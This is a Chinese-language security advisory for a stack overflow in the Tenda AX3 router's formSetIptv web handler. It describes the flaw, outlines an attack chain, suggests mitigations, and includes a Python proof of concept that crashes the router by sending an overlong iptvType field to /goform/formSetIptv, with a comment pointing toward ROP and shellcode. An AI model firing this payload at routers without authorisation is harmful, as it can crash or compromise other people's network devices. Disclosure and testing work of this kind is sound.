CVE-2025-65804 CVSS 6.5 中危

CVE-2025-65804 Tenda AX3 formSetIptv栈溢出漏洞

披露日期: 2025-12-08

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-65804

漏洞类型

缓冲区溢出/栈溢出

CVSS评分

6.5 中危

攻击向量

邻接 (AV:A)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Tenda AX3

漏洞概述

CVE-2025-65804是影响腾达AX3路由器v16.03.12.11固件版本的安全漏洞。该漏洞存在于formSetIptv函数中，由于对iptvType参数缺乏有效的边界检查，导致栈缓冲区溢出。攻击者可通过构造超长iptvType参数值覆盖栈上的返回地址和关键变量，从而控制程序执行流程。成功利用此漏洞可实现远程代码执行(RCE)，在路由器上执行任意命令，对网络设备安全造成严重威胁。此漏洞无需认证即可利用，攻击复杂度低，具有较高的实际利用价值。

技术细节

漏洞位于Tenda AX3路由器的Web管理界面formSetIptv函数中。当用户通过HTTP请求提交iptvType参数时，该参数值被直接拷贝到栈上的固定大小缓冲区中。由于未对输入长度进行验证，攻击者可发送超长字符串导致缓冲区溢出。溢出会覆盖栈帧中的保存寄存器、返回地址以及相邻变量。攻击者精心构造ROP链或shellcode，可绕过NX/DEP保护实现代码执行。漏洞影响路由器的IPTV配置功能，攻击者可通过发送恶意HTTP POST请求触发漏洞。该漏洞属于经典的栈溢出类型，与常见的IoT设备Web服务漏洞模式一致。

攻击链分析

STEP 1

信息收集

识别目标Tenda AX3路由器版本，确认固件版本为v16.03.12.11

STEP 2

漏洞探测

访问路由器的Web管理界面，定位formSetIptv接口

STEP 3

构造攻击载荷

构造超长的iptvType参数值，包含溢出数据和可能的ROP链

STEP 4

发送恶意请求

向/goform/formSetIptv发送POST请求，无需认证即可触发漏洞

STEP 5

触发溢出

超长数据覆盖栈上的返回地址和关键寄存器

STEP 6

代码执行

控制程序执行流程，跳转到shellcode或ROP链，实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2025-65804 PoC - Tenda AX3 formSetIptv Stack Overflow
# Target: Tenda AX3 router with firmware v16.03.12.11

target_ip = "192.168.0.1"  # Default Tenda router IP
url = f"http://{target_ip}/goform/formSetIptv"

# Generate payload with 500+ 'A' characters to trigger overflow
# Adjust length based on actual buffer size
payload_length = 600
iptvType = "A" * payload_length

data = {
    "iptvType": iptvType,
    "iptvEnable": "1",
    "wanType": "dhcp",
    "vlanId": "100"
}

try:
    print(f"[*] Sending exploit payload to {url}")
    print(f"[*] Payload length: {payload_length}")
    response = requests.post(url, data=data, timeout=5)
    print(f"[*] Response status: {response.status_code}")
    print(f"[*] Response: {response.text[:200]}")
except requests.exceptions.RequestException as e:
    print(f"[!] Request failed: {e}")

# Note: For RCE, replace 'A' with ROP chain + shellcode

影响范围

Tenda AX3 v16.03.12.11

防御指南

临时缓解措施

在官方补丁发布前，建议通过以下方式临时缓解：1)禁用路由器的IPTV功能；2)限制对Web管理界面的访问，仅允许受信任的局域网IP访问；3)使用ACL规则阻止来自WAN侧的恶意请求；4)监控路由器日志，关注异常访问行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表